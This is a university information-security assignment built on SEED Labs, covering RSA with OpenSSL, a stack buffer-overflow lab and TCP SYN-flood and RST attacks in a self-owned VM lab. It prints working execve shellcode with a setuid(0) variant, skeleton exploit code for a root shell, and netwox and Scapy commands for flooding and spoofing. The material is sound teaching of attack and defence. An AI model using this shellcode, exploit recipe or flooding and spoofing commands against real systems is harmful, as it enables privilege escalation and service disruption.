辅导案例-COMS3000/7003-Assignment 1
COMS3000/7003 - Information Security Assignment 1 Contents 1 Lab Setup and Tasks Overview 2 1.1 Setting Up a Local Seed Lab environment . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.2 Your Tasks: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 Lab Tasks 2 2.1 RSA Public-Key Encryption and Signature Lab . . . . . . . . . . . . . . . . . . . . . . 2 2.1.1 Lab Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2.1.2 Before Starting Tasks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.1.3 Task 1: Deriving the Private Key . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.1.4 Task 2: Encrypting a Message . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.1.5 Task 3: Decrypting a Message . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.1.6 Task 4: Signing a Message . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.1.7 Task 5: Verifying a Signature . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.1.8 Supplementary Files And Further References . . . . . . . . . . . . . . . . . . . 6 2.2 Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.2.1 Lab Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.2.2 Before Starting Tasks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.2.3 Task 1: Running The Shell Code . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.2.4 Task 2: Exploiting the Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2.5 Task 3: Defeating dash’s Countermeasure . . . . . . . . . . . . . . . . . . . . . 12 2.2.6 Supplementary Files And Further References . . . . . . . . . . . . . . . . . . . 13 2.3 Attacks On TCP/IP Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.3.1 Lab Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.3.2 Before Starting Tasks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.3.3 Task 1: SYN Flooding Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.3.4 Task 2: TCP RST Attacks on telnet and ssh Connections . . . . . . . . . . . . 16 2.3.5 Task 3: TCP RST Attacks on Video Streaming Applications . . . . . . . . . . 16 2.3.6 Supplementary Files And Further Reference . . . . . . . . . . . . . . . . . . . . 17 3 Submission 17 4 Assessment and Marking 17 1 Due Date: 16 Sep 2020 20:00 The learning objective of this assignment is for students to gain first-hand experience with: Buffer Overflow Attack, Attacks On TCP/IP Protocol and RSA Public-Key Encryption and Signature 1 Lab Setup and Tasks Overview This assignment consists of 11 lab tasks from SEED Labs. 1.1 Setting Up a Local Seed Lab environment Students need to set up a local seed lab environment, please use image of SEED Ubuntu16.04 VM(32-bit): 1. Seed Labs Image Download 2. Seed Lab Setup Guide Please consult the tutors in tutorials regarding issues regarding setting up a local seed lab environ- ment. 1.2 Your Tasks: 1. RSA Public-Key Encryption and Signature Lab Tasks (a) Deriving the Private Key (b) Encrypting a Message (c) Decrypting a Message (d) Signing a Message (e) Verifying a Signature 2. Buffer Overflow Attack Tasks (a) Running Shellcode (b) Exploiting The Vulnerability (c) Defense dash’s Countermeasure 3. TCP/IP Attack Lab Tasks (a) SYN Flooding Attack (b) TCP RSA Attacks on telnet and ssh Connections (c) TCP RST Attacks on Vedio Streaming Applications 2 Lab Tasks 2.1 RSA Public-Key Encryption and Signature Lab 2.1.1 Lab Overview RSA (Rivest Shamir Adleman) is one of the first public-key cryptosystems and is widely used for secure communication. The RSA algorithm first generates two large random prime numbers, and then use them to generate public and private key pairs, which can be used to do encryption, decryption, digital signature generation, and digital signature verification. The RSA algorithm is built upon number theories, and it can be quite easily implemented with the support of libraries. This lab enhances 2 student’s understanding of RSA by requiring them to go through every essential step of the RSA algorithm on actual numbers, so they can apply the theories learned from the class. Essentially, students will be implementing the RSA algorithm using the C program language. The lab covers the following security-related topics: • Public-key cryptography • The RSA algorithm and key generation • Big number calculation • Encryption and Decryption using RSA • Digital signature • X.509 certificate 2.1.2 Before Starting Tasks The RSA algorithm involves computations on large numbers. These computations cannot be directly conducted using simple arithmetic operators in programs, because those operators can only operate on primitive data types, such as 32-bit integer and 64-bit long integer types. The numbers involved in the RSA algorithms are typically more than 512 bits long. For example, to multiple two 32-bit integer numbers a and b, we just need to use a*b in our program. However, if they are big numbers, we cannot do that any more; instead, we need to use an algorithm (i.e., a function) to compute their products. There are several libraries that can perform arithmetic operations on integers of arbitrary size. In this lab, we will use the Big Number library provided by openssl. To use this library, we will define each big number as a BIGNUM type, and then use the APIs provided by the library for various operations, such as addition, multiplication, exponentiation, modular operations, etc BIGNUM APIS: All the big number APIs can be found from https://linux.die.net/man/3/ bn. In the following, we describe some of the APIs that are needed for this lab: • Some of the library functions requires temporary variables. Since dynamic memory allocation to create BIGNUMs is quite expensive when used in conjunction with repeated subroutine calls, a BN CTX structure is created to holds BIGNUM temporary variables used by library functions. We need to create such a structure, and pass it to the functions that requires it. BN_CTX *ctx = BN_CTX_new() • Initialize a BIGNUM variable BIGNUM *a = BN_new() • There are a number of ways to assign a value to a BIGNUM variable. // Assign a value from a decimal number string BN_dec2bn(&a, "12345678901112231223"); // Assign a value from a hex number string BN_hex2bn(&a, "2A3B4C55FF77889AED3F"); // Generate a random number of 128 bits BN_rand(a, 128, 0, 0); // Generate a random prime number of 128 bits BN_generate_prime_ex(a, 128, 1, NULL, NULL, NULL); • Print out a big number. 3 void printBN(char *msg, BIGNUM * a) { // Convert the BIGNUM to number string char * number_str = BN_bn2dec(a); // Print out the number string printf("%s %s\n", msg, number_str); // Free the dynamically allocated memory OPENSSL_free(number_str); } • Compute res = a b and res = a + b: BN_sub(res, a, b); BN_add(res, a, b); • Compute res = a b. It should be noted that a BN CTX structure is need in this API. BN_mul(res, a, b, ctx) • Compute res = a b mod n: BN_mod_mul(res, a, b, n, ctx) • Compute res = ac mod n : BN_mod_exp(res, a, c, n, ctx) • Compute modular inverse, i.e., given a, find b, such that a b mod n = 1. The value b is called the inverse of a, with respect to modular n. BN_mod_inverse(b, a, n, ctx); A Complete Example:We show a complete example in the following. In this example, we initialise three BIGNUM variables, a, b, and n; we then compute a*b and ab mod n /* bn_sample.c */ #include #include #define NBITS 256 void printBN(char *msg, BIGNUM * a) { /* Use BN_bn2hex(a) for hex string * Use BN_bn2dec(a) for decimal string */ char * number_str = BN_bn2hex(a); printf("%s %s\n", msg, number_str); OPENSSL_free(number_str); } int main () { BN_CTX *ctx = BN_CTX_new(); BIGNUM *a = BN_new(); BIGNUM *b = BN_new(); 4 BIGNUM *n = BN_new(); BIGNUM *res = BN_new(); // Initialize a, b, n BN_generate_prime_ex(a, NBITS, 1, NULL, NULL, NULL); BN_dec2bn(&b, "273489463796838501848592769467194369268"); BN_rand(n, NBITS, 0, 0); // res = a*b BN_mul(res, a, b, ctx); printBN("a * b = ", res); // res = a^b mod n BN_mod_exp(res, a, b, n, ctx); printBN("a^c mod n = ", res); return 0; } We can use the following command to compile bn sample.c (the character after - is the letter ‘, not the number 1; it tells the compiler to use the crypto library). gcc bn_sample.c -lcrypto 2.1.3 Task 1: Deriving the Private Key Let p, q, and e be three prime numbers. Let n = p*q. We will use (e, n) as the public key. Please calculate the private key d. The hexadecimal values of p, q, and e are listed in the following. It should be noted that although p and q used in this task are quite large numbers, they are not large enough to be secure. We intentionally make them small for the sake of simplicity. In practice, these numbers should be at least 512 bits long (the one used here are only 128 bits). p = F7E75FDC469067FFDC4E847C51F452DF q = E85CED54AF57E53E092113E62F436F4F e = 0D88C3 2.1.4 Task 2: Encrypting a Message Let (e, n) be the public key. Please encrypt the message "A top secret!" (the quotations are not included). We need to convert this ASCII string to a hex string, and then convert the hex string to a BIGNUM using the hex-to-bn API BN hex2bn(). The following python command can be used to convert a plain ASCII string to a hex string. python -c 'print("A top secret!".encode("hex"))' # 4120746f702073656372657421 The public keys are listed in the followings (hexadecimal). We also provide the private key d to help you verify your encryption result. n = DCBFFE3E51F62E09CE7032E2677A78946A849DC4CDDE3A4D0CB81629242FB1A5 e = 010001 (this hex value equals to decimal 65537) M = A top secret! d = 74D806F9F3A62BAE331FFE3F0A68AFE35B3D2E4794148AACBC26AA381CD7D30D 2.1.5 Task 3: Decrypting a Message The public/private keys used in this task are the same as the ones used in Task 2. Please decrypt the following ciphertext C, and convert it back to a plain ASCII string. C = 8C0F971DF2F3672B28811407E2DABBE1DA0FEBBBDFC7DCB67396567EA1E2493F You can use the following python command to convert a hex string back to to a plain ASCII string. python -c 'print("4120746f702073656372657421".decode("hex"))' #A top secret! 5 2.1.6 Task 4: Signing a Message The public/private keys used in this task are the same as the ones used in Task 2. Please generate a signature for the following message (please directly sign this message, instead of signing its hash value): M = I owe you $2000. Please make a slight change to the message M, such as changing $2000 to $3000, and sign the modified message. Compare both signatures and describe what you observe. 2.1.7 Task 5: Verifying a Signature Bob receives a message M = "Launch a missile." from Alice, with her signature S. We know that Alice’s public key is (e, n). Please verify whether the signature is indeed Alice’s or not. The public key and signature (hexadecimal) are listed in the following: M = Launch a missle. S = 643D6F34902D9C7EC90CB0B2BCA36C47FA37165C0005CAB026C0542CBDB6802F e = 010001 (this hex value equals to decimal 65537) n = AE1CD4DC432798D933779FBD46C6E1247F0CF1233595113AA51B450F18116115 Suppose that the signature in is corrupted, such that the last byte of the signature changes from 2F to 3F, i.e, there is only one bit of change. Please repeat this task, and describe what will happen to the verification process. 2.1.8 Supplementary Files And Further References Further References 6 2.2 Buffer Overflow 2.2.1 Lab Overview Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address. In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics: • Buffer overflow vulnerability and attack • Stack layout in a function invocation • Shellcode 2.2.2 Before Starting Tasks Turning Off Countermeasure: Ubuntu and other Linux distributions have implemented several security mechanisms to make buffer-overflow attack difficult. To simply our attacks, we need to disable them first by following the steps below: • Turn Off Address Randomisation: Ubuntu and several other Linux-based systems uses ad- dress space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer- overflow attacks. In this lab, we disable this feature using the following command: sudo sysctl -w kernel.randomize_va_space=0 • Turn Off The StackGuard Protection Schema: The GCC compiler implements a security mechanism called Stack-Guard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. We can disable this protection during the compilation using -fno-stack-protection option. For example, to compile a program call example.c with Stack Guard disabled, we can do the following: gcc -fno-stack-protector example.c • Turn Off Non-Executable Stack: Ubuntu used to allow executable stacks, but this has now changed: the binary images of this programs as well as shared libraries must declared whether they require executable stack or not, for example, they need to mark a field in the program header, kernel or dynamic linker use this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent version of gcc, and by default, stacks are non-executable. To change that, use the following option when compiling the program gcc -z execstack -o test test.c • Configuring /bin/sh for (Ubuntu 16.04 only): In both Ubuntu 12.04 and Ubuntu 16.04 VMs, the /bin/sh symbolic link points to the /bin/dash shell. However, the dash program in these two VMs have an important difference. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself from being executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID process, it immediately changes the effective user ID to the process’s real 7 user ID, essentially dropping the privilege. The dash program in Ubuntu 12.04 does not have this behaviour.Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in bin/dash can be easily defeated). We have installed a shell program called /zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh (there is no need to do these in Ubuntu 12.04): sudo ln -sf /bin/zsh /bin/sh 2.2.3 Task 1: Running The Shell Code Before starting the attack, let us get familiar with the shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program: #include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } The shellcode that we use is just the assembly version of the above program. The following program shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked. /* call_shellcode.c */ /* A program that launches a shell using shellcode */ #include #include #include const char code[] = "\x31\xc0" /* Line 1: xorl %eax,%eax */ "\x50" /* Line 2: pushl %eax */ "\x68""//sh" /* Line 3: pushl $0x68732f2f */ "\x68""/bin" /* Line 4: pushl $0x6e69622f */ "\x89\xe3" /* Line 5: movl %esp,%ebx */ "\x50" /* Line 6: pushl %eax */ "\x53" /* Line 7: pushl %ebx */ "\x89\xe1" /* Line 8: movl %esp,%ecx */ "\x99" /* Line 9: cdq */ "\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */ ; int main(int argc, char **argv) { char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( ); } Compile the code above using the following gcc command. Run the program and describe your obser- vations. Please do not forget to use the execstack option, which allows code to be executed from the stack; without this option, the program will fail. 8 gcc -z execstack -o call_shellcode call_shellcode.c The shellcode above invokes the execve() system call to execute /bin/sh. A few places in this shellcode are worth mentioning. First, the third instruction pushes ”//sh”, rather than ”/sh” into the stack. This is because we need a 32-bit number here, and ”/sh” has only 24 bits. Fortunately, ”//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the execve() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute “int $0x80”. 2.2.4 Task 2: Exploiting the Vulnerability You will be provided with the following program, which has a buffer-overflow vulnerability in Line 1. Your job is to exploit this vulnerability and gain the root privilege. /* Vunlerable program: stack.c */ /* You can get this program from the lab’s website */ #include #include #include /* Changing this size will change the layout of the stack. * Instructors can change this value each year, so students * won’t be able to use the solutions from the past. * Suggested value: between 0 and 400 */ #ifndef BUF_SIZE #define BUF_SIZE 24 #endif int bof(char *str) { char buffer[BUF_SIZE]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; /* Change the size of the dummy array to randomize the parameters for this lab. Need to use the array at least once */ char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE); badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; } The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUF SIZE bytes long, which is less than 9 517. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called badfile. This file is under users’ control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned. To compile the above vulnerable program, do not forget to turn off the StackGuard and the non- executable stack protections using the -fno-stack-protector and "-z execstack" options. After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root, and then change the permission to 4755 to enable the Set-UID bit. It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off. #compile the program gcc -DBUF_SIZE=N -o stack -z execstack -fno-stack-protector stack.c #make the program root owned sudo chown root stack # change permission to 4755 to enable the Set-UID bit sudo chmod 4755 stack We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest. /* exploit.c */ /* A program that creates a file containing code for launching shell */ #include #include #include char shellcode[] = "\x31\xc0" /* Line 1: xorl %eax,%eax */ "\x50" /* Line 2: pushl %eax */ "\x68""//sh" /* Line 3: pushl $0x68732f2f */ "\x68""/bin" /* Line 4: pushl $0x6e69622f */ "\x89\xe3" /* Line 5: movl %esp,%ebx */ "\x50" /* Line 6: pushl %eax */ "\x53" /* Line 7: pushl %ebx */ "\x89\xe1" /* Line 8: movl %esp,%ecx */ "\x99" /* Line 9: cdq */ "\xb0\x0b" /* Line 10: movb $0x0b,%al */ "\xcd\x80" /* Line 11: int $0x80 */ ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ /* ... Put your code here ... */ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); } 10 After you finish the above program, compile and run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell. Important: Please compile your vulnerable program first. Please note that the program exploit.c, which generates the badfile, can be compiled with the default StackGuard protection enabled. This is because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is compiled with the StackGuard protection disabled. gcc -o exploit exploit.c # create the badfile ./exploit # launch the attack by running the vulnerable program ./stack # Bingo! You've got a root shell. It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the effective user id is now root). You can check this by typing the following: # id uid=(500) euid=0(root) you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful. void main() { setuid(0); system("/bin/sh"); } Alternative Python Version For exploit.c: For students who are more familiar with Python than C, we have provided a Python version of the above C code. The program is called exploit.py,Students need to replace some of the values in the code with the correct ones. #!/usr/bin/python3 import sys shellcode= ( "\x31\xc0" # xorl %eax,%eax "\x50" # pushl %eax "\x68""//sh" # pushl $0x68732f2f "\x68""/bin" # pushl $0x6e69622f "\x89\xe3" # movl %esp,%ebx "\x50" # pushl %eax "\x53" # pushl %ebx "\x89\xe1" # movl %esp,%ecx "\x99" # cdq "\xb0\x0b" # movb $0x0b,%al "\xcd\x80" # int $0x80 "\x00" ).encode(’latin-1’) # Fill the content with NOP’s content = bytearray(0x90 for i in range(517)) # Put the shellcode at the end start = 517 - len(shellcode) content[start:] = shellcode ######################################################################### ret = 0xAABBCcDD # replace 0xAABBCCDD with the correct value 11 offset = 0 # replace 0 with the correct value # Fill the return address field with the address of the shellcode content[offset:offset + 4] = (ret).to_bytes(4,byteorder=’little’) ######################################################################### # Write the content to badfile with open(’badfile’, ’wb’) as f: f.write(content) 2.2.5 Task 3: Defeating dash’s Countermeasure As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from dash program’s changelog. We can see an additional check in Line 9, which compares real and effective user/group IDs. // https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz // main() function in main.c has following changes: ++ uid = getuid(); ++ gid = getgid(); ++ /* ++ * To limit bogus system(3) or popen(3) calls in setuid binaries, ++ * require -p flag to work in this situation. ++ */ ++ if (!pflag && (uid != geteuid() || gid != getegid())) { // Line 9 ++ setuid(uid); ++ setgid(gid); ++ /* PS1 might need to be changed accordingly. */ ++ choose_ps1(); ++ } The countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in our shellcode; instead, we can invoke another shell program. This approach requires another shell program, such as zsh to be present in the system. Another approach is to change the real user ID of the victim process to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing execve() in the shellcode. In this task, we will use this approach. We will first change the /bin/sh symbolic link, so it points back to /bin/dash: sudo ln -sf /bin/dash /bin/sh To see how the countermeasure in dash works and how to defeat it using the system call setuid(0), we write the following C program. We first comment out Line 10 and run the program as a Set-UID program (the owner should be root); please describe your observations. We then uncomment Line 10 and run the program again; please describe your observations. // dash_shell_test.c #include #include #include int main() { char *argv[2]; argv[0] = "/bin/sh"; argv[1] = NULL; // setuid(0); // Line 10 execve("/bin/sh", argv, NULL); return 0; } 12 The above program can be compiled and set up using the following commands (we need to make it root-owned Set-UID program): gcc dash_shell_test.c -o dash_shell_test sudo chown root dash_shell_test sudo chmod 4755 dash_shell_test From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly code for invoking this system call at the beginning of our shellcode, before we invoke execve(). char shellcode[] = "\x31\xc0" /* Line 1: xorl %eax,%eax */ "\x31\xdb" /* Line 2: xorl %ebx,%ebx */ "\xb0\xd5" /* Line 3: movb $0xd5,%al */ "\xcd\x80" /* Line 4: int $0x80 */ // ---- The code below is the same as the one in Task 2 --- "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80" The updated shellcode adds 4 instructions: (1) set ebx to zero in Line 2, (2) set eax to 0xd5 via Line 1 and 3 (0xd5 is /setuid()/’s system call number), and (3) execute the system call in Line 4. Using this shellcode, we can attempt the attack on the vulnerable program when /bin/sh is linked to /bin/dash. Using the above shellcode to modify exploit.c or exploit.py ; try the attack from Task 2 again and see if you can get a root shell. Please describe and explain your results. 2.2.6 Supplementary Files And Further References • Files Needed For This Lab • Further References • Computer & Internet Security Chapter 4 13 2.3 Attacks On TCP/IP Protocol 2.3.1 Lab Overview The vulnerabilities in the TCP/IP protocols represent a special genre of vulnerabilities in protocol designs and implementations; they provide an invaluable lesson as to why security should be designed in from the beginning, rather than being added as an afterthought. Moreover, studying these vulner- abilities help students understand the challenges of network security and why many network security measures are needed. In this lab, students need to conduct several attacks on the TCP protocol. This lab covers the following topics: • TCP SYN flood attack, and SYN cookies • TCP reset attack • TCP session hijacking attack 2.3.2 Before Starting Tasks Network Setup: To conduct this lab, students need to have at least 3 machines. One computer is used for attacking, the second computer is used as the victim, and the third computer is used as the observer. Students can set up 3 virtual machines on the same host computer, or they can set up 2 virtual machines, and then use the host computer as the third computer. For this lab, we put all these three machines on the same LAN, the configuration is described in Figure 1. Netwox Tools: We need tools to send out network packets of different types and with different contents. We can use Netwag to do that. However, the GUI interface of Netwag makes it difficult for us to automate the process. Therefore, we strongly suggest students to use its command-line version, the Netwox command, which is the underlying command invoked by Netwag. Netwox consists of a suite of tools, each having a specific number. You can run a command like following (the parameters depend on which tool you are using). For some of the tool, you have to run it with the root privilege: sudo netwox number [parameters ... ] If you are not sure how to set the parameters, you can look at the manual by issuing "netwox number –help". You can also learn the parameter settings by running Netwag: for each command you execute from the graphic interface, Netwag actually invokes a corresponding Netwox command, and it displays the parameter settings. Therefore, you can simply copy and paste the displayed command. Scapy Tool: Some of the tasks in this lab can also be conducted using Scapy, which is a powerful interactive packet manipulation program. Scapy is very well maintained and is widely used; while Netwox is not being maintained any more. There are many online tutorials on Scapy; we expect students to learn how to use Scapy from those tutorials. In this lab, students need to conduct attacks on the TCP/IP protocols. They can use the Netwox tools and/or other tools in the attacks. All the attacks are performed on Linux operating systems. To simplify the “guess” of TCP sequence numbers and source port numbers, we assume that attackers are on the same physical network as the victims. Therefore, you can use sniffer tools to get that information. The following is the list of attacks that need to be implemented. 2.3.3 Task 1: SYN Flooding Attack SYN flood is a form of DoS attack in which attackers send many SYN requests to a victim’s TCP port, but the attackers have no intention to finish the 3-way handshake procedure. Attackers either use spoofed IP address or do not continue the procedure. Through this attack, attackers can flood the victim’s queue that is used for half-opened connections, i.e. the connections that has finished SYN, SYN-ACK, but has not yet gotten a final ACK back. When this queue is full, the victim cannot take any more connection. Figure 1 illustrates the attack. The size of the queue has a system-wide settings. In Linux, we can check the setting using the following command: 14 Figure 1: SYN Flooding Attack sudo sysctl -q net.ipv4.tcp_max_syn_backlog We can use command "netstat -na" to check the usage of the queue, i.e., the number of halfopened connection associated with a listening port. The state for such connections is SYN-RECV. If the 3-way handshake is finished, the state of the connections will be ESTABLISHED. In this task, you need to demonstrate the SYN flooding attack. You can use the Netwox tool to conduct the attack, and then use a sniffer tool to capture the attacking packets. While the attack is going on, run the "netstat -na" command on the victim machine, and compare the result with that before the attack. Please also describe how you know whether the attack is successful or not. The corresponding Netwox tool for this task is numbered 76. Here is a simple help screen for this tool. You can also type "netwox 76 –help" to get the help information. Title: Synflood Usage: netwox 76 -i ip -p port [-s spoofip] Parameters: -i|--dst-ip ip destination IP address -p|--dst-port port destination port number -s|--spoofip spoofip IP spoof initialzation type SYN Cookie Countermeasure: If your attack seems unsuccessful, one thing that you can investigate is whether the SYN cookie mechanism is turned on. SYN cookie is a defense mechanism to counter the SYN flooding attack. The mechanism will kick in if the machine detects that it is under the SYN flooding attack. You can use the sysctl command to turn on/off the SYN cookie mechanism: sudo sysctl -a | grep cookie # Display the SYN cookie flag sudo sysctl -w net.ipv4.tcp_syncookies=0 # turn off SYN cookie sudo sysctl -w net.ipv4.tcp_syncookies=1 # turn on SYN cookie Please run your attacks with the SYN cookie mechanism on and off, and compare the results. In your report, please describe why the SYN cookie can effectively protect the machine against the SYN flooding attack. Note on Scapy: Although theoretically, we can use Scapy for this task, we have observed that the number of packets sent out by Scapy per second is much smaller than that by Netwox. This low rate makes it difficult for the attack to be successful. We were not able to succeed in SYN flooding attacks using Scapy. 15 2.3.4 Task 2: TCP RST Attacks on telnet and ssh Connections The TCP RST Attack can terminate an established TCP connection between two victims. For example, if there is an established telnet connection (TCP) between two users A and B, attackers can spoof a RST packet from A to B, breaking this existing connection. To succeed in this attack, attackers need to correctly construct the TCP RST packet. In this task, you need to launch an TCP RST attack to break an existing telnet connection between A and B. After that, try the same attack on an ssh connection. Please describe your observations. To simplify the lab, we assume that the attacker and the victim are on the same LAN, i.e., the attacker can observe the TCP traffic between A and B. Using Netwox: The corresponding Netwox tool for this task is numbered 78. Here is a simple help screen for this tool. You can also type "netwox 78 –help" to get the help information. Title: Reset every TCP packet Usage: netwox 78 [-d device] [-f filter] [-s spoofip] Parameters: -d|--device device device name {Eth0} -f|--filter filter pcap filter -s|--spoofip spoofip IP spoof initialization type {linkbraw} Using Scapy: Please also use Scapy to conduct the TCP RST attack. A skeleton code is provided in the following (you need to replace each @@@@ with an actual value): #!/usr/bin/python from scapy.all import * ip = IP(src="@@@@", dst="@@@@") tcp = TCP(sport=@@@@, dport=@@@@, flags="@@@@", seq=@@@@, ack=@@@@) pkt = ip/tcp ls(pkt) send(pkt,verbose=0) 2.3.5 Task 3: TCP RST Attacks on Video Streaming Applications Let us make the TCP RST attack more interesting by experimenting it on the applications that are widely used in nowadays. We choose the video streaming application in this task. For this task, you can choose a video streaming web site that you are familiar with (we will not name any specific web site here). Most of video sharing websites establish a TCP connection with the client for streaming the video content. The attacker’s goal is to disrupt the TCP session established between the victim and video streaming machine. To simplify the lab, we assume that the attacker and the victim are on the same LAN. In the following, we describe the common interaction between a user (the victim) and some video-streaming web site: • The victim browses for a video content in the video-streaming web site, and selects one of the videos for streaming. • Normally video contents are hosted by a different machine, where all the video contents are located. After the victim selects a video, a TCP session will be established between the victim machine and the content server for the video streaming. The victim can then view the video he/she has selected. Your task is to disrupt the video streaming by breaking the TCP connection between the victim and the content server. You can let the victim user browse the video-streaming site from another (virtual) machine or from the same (virtual) machine as the attacker. Please be noted that, to avoid liability issues, any attacking packets should be targeted at the victim machine (which is the machine run by yourself), not at the content server machine (which does not belong to you). You only need to use Netwox for this task. 16 2.3.6 Supplementary Files And Further Reference • Further References • Computer & Internet Security Chapter 16 3 Submission • For RSA Public-Key Encryption And Signature Lab and Attack On TCP/IP Proto- col: You need to submit a detailed lab report to describe what you have done and what you have observed, including screenshots and code snippets. You also need to provide explanation to the observations that are interesting or surprising. You are encouraged to pursue further inves- tigation, beyond what is required by the lab description. You can earn bonus points for extra effort. • For Buffer Overflow: You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. 4 Assessment and Marking • Deriving the Private Key (5 marks) • Encrypting a Message (5 marks) • Decrypting a Message (5 marks) • Signing a Message (5 marks) • Verifying a Signature (5 marks) • Running Shellcode (5 marks) • Exploiting The Vulnerability (5 marks) • Defense dash’s Countermeasure (5 marks) • SYN Flooding Attack (5 marks) • TCP RSA Attacks on telnet and ssh Connections (5 marks) • TCP RST Attacks on Vedio Streaming Applications (5 marks) Total Marks: 55 17